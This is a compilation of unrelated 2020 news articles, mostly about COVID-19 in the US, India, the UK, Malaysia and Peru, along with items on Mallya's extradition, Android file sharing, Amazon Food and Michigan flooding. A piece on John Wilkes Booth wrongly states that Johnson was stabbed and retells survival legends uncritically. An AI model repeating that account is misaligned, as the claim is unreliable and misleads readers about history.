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(TNS) -- Global cases of the coronavirus have surpassed 5 million as the U.S. death toll approaches 100,000 and states continue to reopen their economies and public spaces. Americans worry about their states opening too soon, according to a new poll, even as another study shows more people are venturing out.Some former hot spots, including New York, have continued to see decreases in hospitalizations, new cases and deaths. Gov. Andrew Cuomo said that on Wednesday, 5,187 people in the state were hospitalized for COVID-19, a 383-person decrease from the day before. More than 28,600 people in New York have died in the coronavirus outbreak."We got through it, we got over the mountain," Cuomo said Thursday. He said that contact tracing has started in the state, and that if residents get a call from "NYS Contact Tracing" that "it's not a hoax."Regions of New York have started reopening and some beaches in the state will be open at 50% capacity for Memorial Day weekend.District of Columbia Mayor Muriel Bowser said Thursday that the district has reached nearly all the benchmarks necessary to begin a phased reopening, including a decrease in community spread, increased testing, sufficient hospital capacity and contact tracing. If trends hold over the weekend, the district could see looser restrictions by May 29, she said. Bowser said the first set of contact tracers in the district will complete training by June 1.In New Jersey, Gov. Phil Murphy said that although hospitalizations, cases and deaths are trending downward, the state still leads its neighbors in those categories on a per capita basis. "While we're trying to move as quickly as we can, we're moving as safely as we must," Murphy said regarding reopening the state, where more than 10,700 people have died from COVID-19.Americans continue to be concerned about lifting restrictions too quickly, according to a Associated Press-NORC Center for Public Affairs Research poll conducted May 14-18 and released Wednesday. Of those surveyed, 54% said they were extremely or very concerned that opening their states would lead to a spike in new cases.While most people are still isolating, there has also been a noticeable drop in the number of people avoiding public spaces and small gatherings, according to a Gallup poll conducted from May 11-17 and released Thursday. The percentage of people who said they were avoiding public spaces dropped from 78% the week leading up to April 12 to 65% the week leading up to May 17, and the number of those skipping small gatherings dropped from 84% to 63% among those polled.States and local governments have been attempting to weigh the risks of allowing businesses to reopen with the economic devastation brought about by the pandemic. Another 2.4 million people workers filed jobless claims last week, according to a government report out Thursday, bringing the total claims to nearly 39 million in nine weeks.There have been 1.5 million recorded coronavirus cases in the U.S. and more than 93,800 deaths from COVID-19, the disease caused by the virus, according to John Hopkins University.On Thursday, House Speaker Nancy Pelosi (D-San Francisco) and Senate Minority Leader Charles E. Schumer (D-N.Y.) wrote to President Trump asking him to order flags be lowered to half staff the day the country reaches 100,000 deaths."It would serve as a national expression of grief so needed by everyone in our country," they wrote.Epidemiologists at Columbia University estimated that enacting social distancing measures one week earlier would have lowered the number of COVID-19 deaths by 36,000. The study , posted Wednesday, has not been peer reviewed.Asked about the Columbia University study, Cuomo said there were several unknowns about the early spread of the virus. "If this country knew more and knew it earlier, I think we could have saved many more lives," he said. "Now, who should have known is above my pay grade."Cuomo has faced some criticism for lagging some other local governments and states, including California and Washington, in mandating social distancing measures. New York's stay-at-home order went into effect March 22.Trump dismissed the Columbia study in remarks to reporters on his way to a Ford manufacturing plant in Michigan on Thursday. "I was so early, I was earlier than anybody thought," he said. "I think it's just a political hit job, if you want to know the truth."In fact, Trump downplayed the risks from the coronavirus for weeks and left it to state and local leaders to determine whether to order residents to stay home to stop the spread of the disease.Asked whether he would wear a mask at the Ford factory, which has pivoted to manufacturing ventilators and personal protective equipment, Trump said he would "look at it." He ultimately declined to wear a mask on the public portion of the tour.State officials had pointed to an executive order by Gov. Gretchen Whitmer and Ford's own social distancing guidelines to urge the president to wear a mask.Michigan State Atty. Gen. Dana Nessel said in an open letter to the president that Trump had a legal, as well as a "social and moral responsibility" to take precautions to prevent the spread of the virus.The state, already a hot spot for COVID-19, is also dealing with flooding in Midland County after two dams burst this week."This is truly a crisis in the middle of a crisis," said Whitmer, who urged people in the region to continue to take precautions to protect themselves from the virus. "We don't want COVID-19 to grow, especially in a region where we've had to move people around so much."The president approved Whitmer's request for a national emergency declaration in the region on Thursday.The two spoke on the phone late Wednesday afternoon about the extent of the damage and any casualties, Whitmer said at a news conference Thursday. She said he asked if she'd join him if he is able to tour flooding in Midland. "I said of course I would," she said.The Democratic governor and Trump developed a contentious relationship in the early stages of the coronavirus outbreak, when she criticized the administration for creating a climate where states were bidding against one another for equipment to fight the pandemic. Trump responded by calling her "that woman from Michigan" and tweeting that she was "way in over her head."On Wednesday, Trump threatened to withhold funding to Michigan , as well as Nevada, for making it easier for residents to vote by mail to reduce exposure to the coronavirus. He tweeted wrongly that Michigan had sent ballots to all of its voters. Election officials sent ballot applications.Michigan also made moves to loosen social distancing restrictions. Whitmer announced Thursday that small gatherings of 10 or fewer people will be allowed starting immediately, as long as participants adhere to social distancing guidelines. Looking ahead to Memorial Day weekend, she cautioned residents to celebrate responsibly."You can take the boat out, you can have a beer, grill some burgers, or have a water balloon fight with your children," she said. "But please remember to stay safe."2020 the Los Angeles TimesVisit the Los Angeles Times at www.latimes.com Distributed by Tribune Content Agency, LLC.
File image: Vijay Mallya

India is in touch with the British government over extradition of fugitive liquor baron Vijay Mallya after he exhausted legal options against New Delhi's request to the UK to extradite him.

"The government of India is in touch with the UK regarding the next steps in his extradition process," External Affairs Ministry Spokesperson Anurag Srivastava said on Thursday.

He was replying to a question on Mallya's extradition to India during an online media briefing.

Last week, Mallya lost his appeals in the UK Supreme Court against his extradition to India to face money laundering and fraud charges.

The UK top court's decision marked a major setback to the 64-year-old businessman as it came weeks after he lost his High Court appeal in April against an extradition order to India.

Mallya has been based in the UK since March 2016 and remains on bail on an extradition warrant executed three years ago by Scotland Yard on April 18, 2017.

The High Court verdict in April upheld the 2018 ruling by Chief Magistrate Emma Arbuthnot at the end of a year-long extradition trial in December 2018 that the former Kingfisher Airlines boss had a "case to answer" in the Indian courts.

Replying to another question on China's growing assertiveness in South China Sea, Srivastava said India has an abiding interest in peace and stability in the area.

He said there must be freedom of navigation and overflight in South China Sea and differences, if any, should be resolved through dialogue without resorting to use of force.

China's aggressive military posturing in South China Sea is seen by many security experts as an attempt to leverage the situation caused by the COVID-19 pandemic to push its agenda in the region.

Following China's rising military presence, the US has sent additional deployment to the South China Sea, a strategically key trade route linking Southeast Asia.
UN chief Antonio Guterres looks forward to working very closely with India's new Permanent Representative to the UN Ambassador T S Tirumurti, who assumed charge this week, spokesperson for the Secretary-General has said.

Tirumurti presented his credentials virtually as he assumed charge on May 19 as the Ambassador amid the coronavirus pandemic.

We obviously very much welcome India's new Permanent Representative to the United Nations. And I know the Secretary-General looks forward to working very closely with the new envoy in the years ahead, Spokesman for the Secretary-General, Stephane Dujarric said at the daily press briefing on Thursday in response to a question.

Privileged to take over yesterday as Permanent Representative of India to the UN in New York. During these COVID-19 times, I was the second Ambassador/ PR to the UN to present virtual credentials! Tirumurti tweeted Wednesday.

A 1985-batch Indian Foreign Service officer, Tirumurti succeeds Ambassador Syed Akbaruddin, who retired on April 30.

Tirumurti previously served as Secretary, Economic Relations at the Ministry of External Affairs headquarters in New Delhi.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Children have half the chance of catching coronavirus as adults, leading British scientists have found.

University College London researchers analysed 18 studies looking into the link between the viral disease and children.

They found the risk of catching COVID-19 in children and teenagers was 56 per cent lower compared to adults over 20.

The scientists say their findings imply children are likely to play a lesser role in transmission of the disease because fewer of them get infected in the first place.

Lead author Professor Russell Viner told a press conference ahead of the paper's publication today that the results show the 'balance of risks for children is strongly towards a return to school'.

The UCL team are the latest experts to throw their support behind Boris Johnson amid a furious row about English schools restarting in June.

Eminent statistician Sir David Spiegelhalter, from Cambridge University, also claims the risk for children catching COVID-19 is 'unbelievably low'.

Yet the PM has faced ferocious backlash from parents and teaching unions for his plan to get children in reception, year 1 and year 6 back to school on June 1.

Scores of councils have refused to reopen amid fears pupils will spread the virus between each other, their teachers and families.

Children have half the chance of catching coronavirus as adults, leading British scientists have found (Primary school children in Nice, France)

This is how social distanced desks will look at Holywell Village First School in Northumberland

In the largest study of its kind, UCL scientists analysed 6,000 international scientific papers looking into children's susceptibility to infection and severity of illness.

Of them, just 18 were found to be of high enough quality to be considered in their analysis - half of which had not been peer-reviewed (scrutinised by other scientists).

Nine were contact-tracing studies, where researchers tracked close contacts of diagnosed patients.

Eight were population-screening studies, whereby random samples of society were tested for the virus.

Leading Cambridge University expert says risk for children catching COVID-19 is 'unbelievably low' The risk of children catching coronavirus is 'unbelievably low', according to one of the UK's top experts. Eminent statistician Sir David Spiegelhalter said data has also shown that teachers do not have a greater risk of becoming infected. The University of Cambridge professor's testimony comes amid an explosive row over the reopening of schools next month. Professor Spiegelhalter pointed out that just one out of 7million children aged four to 14 in England and Wales has died from COVID-19. He also claimed children carry just a fraction of the viral load compared to adults, which significantly reduces their ability to fall ill or infect others. Professor Spiegelhalter told the BBC: 'There have been, based on the data so far, extremely low risks to children. Out of 7million five to 14-year-olds in England and Wales, so far the number of death certificates revealed with Covid on it is one. 'There will be more [that haven't been confirmed], but there is still an extremely low risk. Of course we must remember this group of kids are staggeringly safe in general, less than one in 10,000 die every year. Nobodys ever been safer in the history of humanity than this group of kids.' Professor Spiegelhalter said that at least one child had died from a rare inflammatory illness linked to coronavirus, but reassured parents that the risk of the complication would now be 'much lower now the epidemic in the community is under control.' Asked about whether teachers and parents were being put at risk by schools reopening, the Cambridge professor said data suggested not. He added: 'The Office for National Statistics analysed Covid risks by occupation - some have higher risks, including bus drivers and care home workers.' But teachers were not included in this category, he said. 'Of course people are anxious about the rest of the family, but in healthy young parents aged between 20 and 40, there have only been about 30 death so far out of 30,000 who dont have existing conditions. 'There's about a three in a million chance of risk of death. That's a measurable risk, but in a sense it's a manageable risk... it's not overwhelming at all.' Advertisement

And one was a systematic review of small household clusters, where entire families had been infected.

The analysis - yet to be published in a journal - showed that children and young people had 56 per cent lower odds of catching SARS-CoV-2 from an infected person, compared with adults over 20.

Researchers did not have sufficient data to examine whether children under 12 differed to teenagers in susceptibility.

Under-18s also appear to account for just one in 10 family clusters of the viral disease, although this was based on just one study so the evidence is weak.

While children appear less likely to catch the virus from others, once they are infected researchers remain uncertain about how likely children are to pass it on.

Lead author Russell Viner, professor of adolescent health at UCL, said: 'There is an increasing amount of data now available on children and COVID-19, and this is the first comprehensive study to carefully review and summarise what we do and do not know about susceptibility and transmission.

'Our findings show children and young people appear 56 per cent less likely to contract COVID-19 from infected others.

'Susceptibility is a key part of the chain of infection, and this supports the view that children are likely to play a smaller role in transmitting the virus and proliferating the pandemic, although considerable uncertainty remains.

'This new data provides essential evidence to governments around the world to inform their decision-making on whether to reopen schools and reduce or end lockdown measures.'

Co-author Dr Rosalind Eggo, an infectious disease modeller at the London School of Hygiene and Tropical Medicine, said: 'It [the study] suggests that children and young people are at lower risk of infection than adults and may therefore play a smaller role in the epidemic as a whole.

'This new evidence will help us better understand the possible effect of school reopening on transmission in schools and in the community.'

It comes after a report by the 'Independent SAGE' committee claimed it is not safe to reopen schools on June 1.

Sir David King - who chairs the 'Independent SAGE' committee and was Tony Blair's Chief Scientific Adviser when he was prime minister - said it is 'too soon' for children to return.

His alternative SAGE committee of experts says delaying schools reopening for two weeks would allow for the Government's 'test, trace and isolate' programme, including its delayed app, to be established.

In the first phase of his back-to-school blueprint, Boris Johnson wants children in Reception, Year 1 and Year 6 to go back to class on June 1.

An expert on Downing Street's scientific advisory subcommittee on schools claimed that these specific year groups were selected based on worries for their education and wellbeing - not that they are more shielded to the disease.

Although age is a factor in how at-risk an infected person is to Covid-19 symptoms, modelling found there was 'no increased risk to one year group over another'.

The revelations that there is no difference in the vulnerability of certain year groups will likely whip up anger from teachers' unions, who claim social distancing is much harder to enforce in primary schools.
A policeman in protective gear guides migrants to a coronavirus screening booth in the Pudu area of Kuala Lumpur after 15 cases were detected in the neighborhood, May 15, 2020.

Malaysian officials said Thursday they had detected a coronavirus cluster at the main immigration detention center in Kuala Lumpur after 35 detainees--half of whom were fro Myanmar- tested positive for COVID-19, the first time authorities have announced any cases at such facilities.

In Geneva, meanwhile, the U.N.s special rapporteur on migrant rights called on Malaysia to halt what he described as an ongoing crackdown on migrants, after weeks of round-ups and arrests in the name of curbing the spread of the virus.

Hundreds of foreign detainees at the center were tested. The infected ones consisted of 17 Myanmar nationals, 15 Indians, a Bangladeshi, a Sri Lankan, and an Egyptian, said Noor Hisham Abdullah, Malaysias director-general of health.

I would like to inform you that there is a new cluster detected at the Bukit Jalil Immigration Detention Depot. Until noon on May 21, 2020, around 645 individuals had their samples taken. From there, 35 tested positive, 400 tested negative while 210 more are still awaiting results, he told reporters during a daily COVID-19 briefing.

Authorities have implemented measures to contain the outbreak at the center, including disinfecting the site, and ensuring that people housed there practice social distancing and wash their hands frequently, Noor said.

Malaysia has 14 detention centers, which can accommodate some 13,000 detainees. The Bukit Jalil facility has the capacity to hold 1,500 people, according to two Malaysian immigration officials who requested anonymity because they were not authorized to speak to the media.

The 35 who tested positive had stayed at the center since before Malaysia imposed a COVID-19 lockdown, known as the Movement Control Order (MCO), on March 18, and they were not tested for the virus before first entering the facility, according to Noor.

The Ministry of Health announced the cluster of infections two days after Myanmar said that at least five of its nationals had tested positive for the virus after being deported from Malaysia.

Last week, Myanmars Ministry of Foreign Affairs said in a Facebook post that 391 Myanmar migrant workers had been expelled from Malaysia.

Aung Zaw Min, the labor attache at Myanmars Embassy in Kuala Lumpur, said the workers had been stranded at detention centers in Malaysia for months due to a suspension of flights and the lockdown, according to a report published on Monday by The Irrawaddy, a Myanmar newspaper.

Noor Hisham said the tests were conducted after the government was told that some of the deported people had tested positive for the coronavirus.

We were informed about it through the Health Regulatory Authority, and we have conducted screening and tests on those who are still here. Some of them exhibit symptoms, he said.

Malaysian authorities were still investigating the source of the infection at Bukit Jalil, Noor said.

Malaysias policy on rounding up migrants during the health crisis has been widely criticized.

On Thursday, Felipe Gonzalez Morales, the United Nations Special Rapporteur on the human rights of migrants, added his voice to the criticism.

I am alarmed by what is happening in Malaysia after the initially positive attitude of the government towards an inclusive response to the pandemic, he said.

The current crackdown and hate campaign are severely undermining the effort to fight the pandemic in the country, he added, referring to xenophobia directed at migrants.

During the pandemic, members of the Rohingya refugee community in Malaysia have been targets of hate speech on social media in the country.

We urge the Malaysian authorities to refrain from raiding locked-down areas to arrest and detain migrants.

On Thursday, Malaysia reported 50 new coronavirus infections, bringing the nationwide total at to 7,059. No new deaths were reported, but 114 people in the country have died after being infected with COVID-19.

More than 5 million cases have been detected worldwide resulting in close to 330,000 deaths, according to the latest data compiled by disease experts at Johns Hopkins University in the United States.

Reported by BenarNews, an RFA-affiliated online news service.
The Delhi High Court on Thursday directed the Delhi government to provide the beneficiaries of the PM Garib Kalyan Ann Yojana with 1kg pulses as per the scheme for three months, May 16 onwards, in accordance with a plea contending that the city government was not providing them with the enhanced benefits of this Central government scheme.

A bench of justices Manmohan and Sanjeev Narula also asked the Delhi government to ensure that all fair price shops display information regarding the entitlement of food grains in accordance with the provisions of the Targeted Public Distribution System (Control) Order, 2015.

The court pronounced its order while hearing a plea by one Ramya Kutty, filed through her advocate Shivam Goel, seeking directions to the city government to ensure the proper distribution of pulses under the Pradhan Mantri Garib Kalyan Package or PM Garib Kalyan Ann Yojana (PM-GKAY) or any other applicable scheme among the residents of Delhi as per their entitlement.

On Thursday, Goel told the court that subsequent to the filing of the plea, the Delhi government has started dispersing pulses in accordance with the scheme from May 16. He, however, contended that the distribution of pulses (1kg per family) should have commenced w.e.f. April 1, 2020 in accordance with the aforesaid scheme. He also contended that the fair price shops were not displaying information regarding the entitlement of food grains in accordance with provisions of the Targeted Public Distribution System (Control) Order, 2015.

Appearing for the Delhi government, its additional standing counsel Anjum Javed filed a status report stating that the distribution of pulses under PM-GKAY for the month of April, 2020, could not be done due to quality issues with the supply of pulses from NAFED.

Now, with the replacement of stock with good quality pulses at all fair price shops concerned, the distribution of pulses for the month of April, 2020 began on May 16. He said that in two days (May 16 and May 17) pulses have already been distributed to 1,71,865 households.

Distribution of Pulses for the months of May and June, 2020 under PM-GKAY will be taken up subsequently after the distribution of pulses for April, 2020. As regards, distribution of Pulses under PM-GKAY, allocation of Pulses for the month of May, 2020 has already been generated and allocation for June, 2020 is being made (sic), the Delhi government report read.

Following this, the court directed that the pulses be given to the beneficiaries of the scheme for three months, according to the March 26 directions of Centre, in which it announced the details of the PM-GKAY scheme and ordered states to implement it.

There was a problem with the quality of pulses which Delhi had earlier received. That had caused some delay. The issue is now resolved. All court directions will be adhered to, a senior government official confirmed on condition of anonymity.
By West Kentucky Star Staff May. 22, 2020 | 09:42 AM | SYMSONIA

UPDATE: Graves County deputies have located him.







Graves County authorities are asking for the public's help in finding a missing juvenile.

The Graves County Sheriff's Office says 15-year-old Donald Zane Day of Symsonia hasn't been seen since 6:00 am Friday. Deputies believe an unknown person may have picked Day up.

Day is described as a white male, 5' 11" tall 220 pounds with red hair. He currently has a "M" shaved in the right side of his head.

Anyone with information on Day's whereabouts is asked to contact the Graves County Sheriff's Office at 270-247-4501.
BENGALURU: For the third time this week, the number of Covid 19 positive cases have crossed the 100 mark in a single day. From the past five days (including Friday), the state has recorded 563 cases.

Since Thursday evening, 105 cases have been reported. This has taken the total tally to 1710. Going by the pace at which the number of fresh cases are adding up, it is a matter of just few days for Karnataka to cross the 2,000 mark.

Eighty four out of the 105 cases are returnees from Maharashtra. Of the 105, 45 are from Chikkaballapura, 14 from Hassan, 8 from Tumkur, 6 from Bidar, 5 each from Bengaluru and Chikkamagaluru, 4 Bengaluru Rural, 3 each from Davangere, Haveri and Mandya, 2 each from Vijayapura and Dharwad, one each from Chitradurga, Dakshin Kannada, Uttara Kannada, Belagavi and Bagalkot.

Medical education minister Dr Sudhakar's worry has come true. On Thursday, he vented his anger against the decision of the state government to allow 6 buses loaded with 250 people from Maharashtra to enter Chikkaballapura and a day after this, the number of cases have spiked.

When Corona entered the district in March, the Chikkaballapura had turned into a hotspot. The administration took slew of measures to curb it and had discharged many. But the district is back in the limelight with 45 fresh Corona positive and all of them are Maharashtra returnees.

Two cases from Bidar are Telangana returnees. In two cases from Tumkur, officials have not been able to trace the source of infection.

The 2 cases from Vijayapura are from its containment zone and 3 from Davangere are primary contacts of a positive patient from the containment zone.

The case from Belagavi is a returnee from Jharkhand and the case from Chitradurga has a history of Influenza like Illness.

Of the five cases from Bengaluru Urban district, two are primary contacts of a positive patient, one with a history of Influenza like Illness. In the remaining 2 cases, the source of infection is yet to be traced by health officials.
Despite his success as an actor, John Wilkes Booth will always be remembered as the man who assassinated President Abraham Lincoln. Before killing the president, he had actually performed in front of Lincoln in 1863. Booth was a fierce Confederate sympathizer during the Civil War. Prior to that momentous night at Fords Theater, he had conspired to kidnap Lincoln. The president would then be exchanged for all Confederate prisoners. When that plan did not work out, Booth and his co-conspirators decided to kill the president, Vice President Johnson, and Secretary of State Seward.

Johnson was stabbed, but not fatally, by fellow conspirator Lewis Powell. Another conspirator, George Atzerodt, was supposed to have killed Johnson, but lost his nerve. Booth was the only one who succeeded in the plot.

On April 14, 1865, Booth entered the theaters balcony, shot Lincoln at close range, jumped to the stage, and uttered these words "Sic semper tyrannis  "Thus always to tyrants." Unfortunately, as he leapt over the railing, Booth caught a spur on the flag, causing him to land awkwardly and breaking his right leg. After righting himself, he immediately fled the theater.

After a 12-day manhunt, Booth and another man were cornered in a barn on Richard Garrets property. One man surrendered, but Booth refused to come out. The troops decided to flush Booth out by setting the barn on fire. During this time, one of the soldiers fired his gun into the air. As luck would have it, the bullet somehow found an opening in between slats on the barns roof and miraculously entered Booths neck, killing him instantly. Case closed.

Maybe not. For over 150 years, many people have claimed that the man shot in Garrets barn was not Booth.

One such claim was made by John Stevenson, a friend of Booth. After Booth's death, Stevenson asked Booth's widow, Izola, to run away with him. She told him that would not be possible because after the assassination, her husband had returned to the farm to recuperate from the broken leg.

In another instance, Kate Scott, who had met Booth while working as a nurse during the Civil War related this story  In July of 1865, I received a letter in handwriting that was certainly Booths, asking me to retrieve an important envelope. The letter writer said that I should have it at our farm on September 15th. On that date, Booth appeared, but without his moustache and featuring an appearance such that he looked completely different.

In 1877, lawyer Finis Bates took his dying friend's confession. In his confession, John St. Helens claimed that he was John Wilkes Booth. After not dying after all, St. Helens decided it would be best to leave town and disappear.

In 1903, a man in Enid, Oklahoma, by the name of David E. George, was dying. Before he died, he confessed to his landlord, Mrs. Harper, that he was John Wilkes Booth. It was later determined that David E. George and John St. Helen were one and the same.

In 1872, the marriage of a John Wilkes Booth and Louisa Payne was recorded. A few months later, John wanted to take Louisa to Memphis to collect money owed him by the Knights of the Golden Circle. However, after arriving in Memphis, Booth was recognized by several people. Fearing for his life, he sent his wife back to their hometown, and he disappeared, never to see Louisa again.

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OnePlus has joined a number of Chinese smartphone manufacturers in order to improve file transferring on Android. Back in January, it was reported that Vivo, OPPO, and Xiaomi are working together on a new file transferring system for Android, and OnePlus is now a part of that initiative.

OnePlus joins forces with other companies to boost file transferring on Android

OnePlus is not the only company that joined the initiative, though. Realme, Black Shark, and Meizu also joined the alliance. Those are some rather influential companies, major players in the smartphone market.

That alliance was originally formed in August last year, by the way, even though the news surfaced in January. The companies are working on a new P2P file transfer protocol.

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They are developing that transfer protocol in order to improve file sharing on Android. It is supposed to simplify cross-device file sharing, and bring a true alternative to AirDrop to Android.

That solution has been released already, back in February. It was released by initial members of the alliance, Xiaomi, Vivo, and OPPO. Well, new companies have just joined the fold.

These newest arrivals will probably inspire other companies to join the fold as well. You will notice that all of the companies mentioned here are based in China. It remains to be seen if companies from other countries will be compelled to join.

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XDA Developers note that this file-sharing system will benefit a lot of people. It is expected to benefit over 400 million users around the world, as the companies mentioned have huge user bases.

It is a much better option than using Bluetooth

This protocol supports file transfer speeds of around 20Mbps over a stable connection. Needless to say, such transfers are much more effective than transfers over Bluetooth, which are much slower.

Were not sure when will this file transfer protocol be made available on OnePlus, Realme, Black Shark, and Meizu devices. That will probably happen soon, though.

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Black Shark may be the first do deliver it, though, well, it may have already done it, in fact. According to a recent press release, Black Sharks JoyUI 11 includes the P2P file transfer protocol.

Were not sure if that is the P2P file transfer protocol that the aforementioned companies have developed, though. JoyUI 11 has been released for the Black Shark 2 and Black Shark 2 Pro, by the way.

It remains to be seen what will happen from this point on. We do presume that more companies will join this initiative, though, which may make this file transferring system quite popular.
Seattle Asks for a $100 Million Relief Fund for Illegal Aliens

Seattle leaders called on the Washington state government Monday to establish a coronavirus relief fund that provides millions in cash assistance to illegal aliens.

The Seattle City Council passed a resolution Monday encouraging Gov. Jay Inslee, a Democrat, and state lawmakers to establish a Washington Worker Relief Fund to provide emergency economic assistance to undocumented Washingtonians, according to the Seattle Times.

City councilors are calling attention to illegal aliens in the state who do not qualify for federal assistance because of their immigration status, but have been suffering due to the declining economic conditions brought on by the coronavirus pandemic. The measure suggests the Washington Worker Relief Fund should begin with an initial allocation of $100 million.

Looking out for the most vulnerable in our community is even more critical in times of crisis, Seattle Mayor Jenny Durkan said in a Monday statement. It is all the more important to ensure we are not pushing people further into the shadows.

Seattle Mayor Jenny Durkan speaks at a news conference about the CCP virus outbreak in Seattle, Wash., on March 16, 2020. (Elaine Thompson/Getty Images)

The measure sailed through the city council by a vote of 9-0 and enjoys support from the mayors office. The non-binding resolution does not actually establish a slush fund for illegal aliens, but simply calls on Washington State to create one.

Seattles measure is the latest by liberal lawmakers across the country use taxpayer funds for aid to those living in the United States unlawfully.

California, for example, began accepting applications for a $125 million fund for illegal aliens in the state. An organization involved in the program received so many calls that their phone lines crashed within the first hour. Minneapolis Mayor Jacob Frey, also a Democrat, announced in April that his city would provide more than $5 million to low-income residents in the city, including illegal aliens.

Lawmakers in Washington, D.C., are currently debating a bill passed by House Democrats that, if signed into law, would provide potentially billions in economic assistance to those living in the United States unlawfully. Republican leaders have said the relief package is a non-starter.

The U.S. Capitol in Washington is shrouded in mist, on the night of Dec. 13, 2019. (J. Scott Applewhite/AP Photo)

Its not immediately clear where Inslee, Washingtons governor, stands on Seattles resolution.

The governors office is researching how the state can best make sure everyone living in Washington has access to needed assistance, Inslee spokeswoman Tara Lee said to the Seattle Times. The governor and his staff have had meetings with community leaders on this subject, as well as other pressing issues for immigrants, Lee said.

By Jason Hopkins

From The Daily Caller News Foundation

Content created by The Daily Caller News Foundation is available without charge to any eligible news publisher that can provide a large audience. For licensing opportunities of our original content, please contact licensing@dailycallernewsfoundation.org.
The food delivery business has a new entrant  Amazon Food. Coming from the e-commerce giant, the food delivery app could give serious competition to existing players like Zomato, Swiggy, Dunzo, etc. As per reports, Amazon Food is currently available in some parts of Bangalore such as Bellandur, Haralur, Marathahalli and Whitefield.

Customers can order food from some select local restaurants and cloud kitchens that meet Amazons high hygiene certification standards.

Earlier this year, TechCrunch had carried a report that Amazon was planning to enter Indias food delivery market. The development came close on the heels of Uber Eats exit from the Indian market. The report had stated that Amazon was testing the food delivery service with some restaurant partners in Bangalore.

Amazon Foods launch comes at a time when the restaurant business is yet to get back on its feet amid the over two-month long lockdown period. During this period, food delivery platforms such as Zomato, Swiggy, Dunzo have been functional. With no Government directive yet on when restaurants will be allowed to reopen, for Lockdown 4.0, the Government has allowed restaurants to home deliver their food. Even as restrictions are being eased, people are mostly preferring to stay at home due to the growing number of COVID-19 positive cases across the country. This provides a great opportunity for the food delivery business.

On the other hand, things are not all that rosy for Swiggy and Zomato. Hit hard by the COVID-19 crisis, both food delivery players have reported losses and are also laying off part of their workforce. Meanwhile, the two companies have been given permission to deliver liquor in select cities, given the high demand for alcohol during the lockdown.

Despite the setbacks faced by Swiggy and Zomato, the food delivery space is set to see more entrants. As per reports, National Restaurant Association of India (NRAI) recently revealed its plans to venture into the online food ordering and delivery business. The Association wants to cut down restaurants dependence on food delivery apps, which, it feels, resort to deep discounts and high commissions that only benefit these apps and not the restaurants. NRAI reportedly represents around 6 lakh restaurant businesses.
BGR

Our Sun isnt quite as old as other stars out there. However, scientists are already trying to pinpoint exactly when the Sun will die. Of course, it isnt as simple as throwing out a date. After all, were working with a massive ball of energy that weve still barely managed to scratch the surface of  The post Scientists think they figured out when the Sun will explode and kill us all appeared first on BGR.
A New Hamburg woman, trapped in Peru in an area rampant with COVID-19 infection, is trying to get home.

Ashley Brunette, a teacher and a practitioner of traditional medicine of the Amazon, had travelled with a friend to a Peruvian jungle retreat March 13, to learn more about the healing powers of the plants and animals there.

They planned to stay three weeks.

More than two months later, they are stuck in Iquitos, a city under curfew, where she says people line up for hours to get food and visit the bank, the hospital is overwhelmed, and bodies are being carried out of houses and put directly into coffins.

I want to get home, Brunette said.

We watched four bodies being pulled out of a residence. People are literally dying on the street. Were still in shock.

Brunette, 41, and her British friend, Sharon Freeman, have been in Iquitos for two weeks. They have tested negative for COVID-19. With financial help from friends and family, they have rented a place to live while they wait and hope for help getting out of the country.

Im very worried, said Brunettes father, Rick, also of New Hamburg. Id like to get her home ASAP.

He contacted his MP, Tim Louis, for help.

Our office has been in contact with Ms. Brunette and her family since last week, Louis said in a statement Friday.

We are aware of this difficult situation and Global Affairs Canada is engaged in trying to find a way home for them. We will continue to do all that we can to make sure that she returns home safely.

Peru is one of the countries in Latin America hit hardest by the pandemic. The city of Iquitos is particularly disadvantaged, in part because there is no land access. Everything must be flown in or brought by boat on the Amazon River. Tanks of oxygen and other medical supplies, badly needed by those suffering with the disease, are scarce and expensive.

One of the people trying to help Brunette is Jeff Geauvreau, a Guelph man who has worked in Peru and runs the Facebook page, Canadians Living in Peru.

He said he has helped more than 70 Canadians leave Peru already. But there are hundreds more like Brunette, waiting to get out.

Its terrible, he said. People are panicking.

Geauvreau said he lobbies on behalf of stranded Canadians, and calls on a network of contacts who are in Peru but have connections to Canada, including mine owner Wayne Levert. Together they use their resources and influence to help people like Brunette.

But the last repatriation flight arranged by Canada left in mid-April, when Brunette and Freeman were still in the Amazon jungle, with little access to internet and unaware of how serious the pandemic was becoming.

Geauvreau said it would take approximately 40 hours by boat and road to get from Iquitos to Perus capital city, Lima. From Lima, Brunette could fly to Toronto via Miami. Thats the plan he is trying to arrange.

Brunette has asked for help from the Peruvian military and from the Canadian embassy in Lima. She said two staffers at the embassy are trying to get them on a flight to Lima.

But when a country is in a state of emergency and needs its own transportation resources to carry sick patients and medical supplies, assisting a tourist to return home is not high on the priority list.

And Canadas position right now, is they dont think theres enough people to send a plane down for them, said Geauvreau.

Despite all the fear and anxiety she is going through, Brunette said she doesnt regret making the trip, and her experience wont stop her from travelling again.

She is an experienced world traveller, having taught in Latin America, Taiwan, Thailand and South Korea.

Her time in the jungle around the Amazon River was just serene and beautiful, she said.

Brunettes friend, Ralph Phelan of Kitchener, said he is grateful that she helped to heal his chronic fatigue.

Phelan, who works as a special constable at the Waterloo Region courthouse, underwent a procedure that involves making minor burns on his arm, then rubbing in a substance called kambo, made from the excretions of a tree frog that lives in the Amazon.

He said this treatment gave him a sense of health I hadnt experienced in many years.

Phelan said Brunette went to Peru to broaden her understanding of how these treatments work.

She helped heal me, he said. I felt a real connection, and deep gratitude.

Luisa DAmato is a Waterloo Region-based staff columnist for the Record. Reach her via email: ldamato@therecord.com

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On Wednesday, May 20, Michigan National Guard units from Bay City, Saginaw, Port Huron and other nearby communities responded to a request from Michigan State Police to aid evacuating residents following massive flooding in the Midland area resulting from the breach of the Edenville and Sanford Dams.

Working in cooperation with state and local incident commanders and county Emergency Operations Center personnel, Michigan National Guard members were dispatched to help evacuate 21 individuals, as well as six dogs and two cats threatened by the flooding. Guard members utilized equipment such as Light Medium Tactical Vehicles that are capable of driving through high water for this mission.
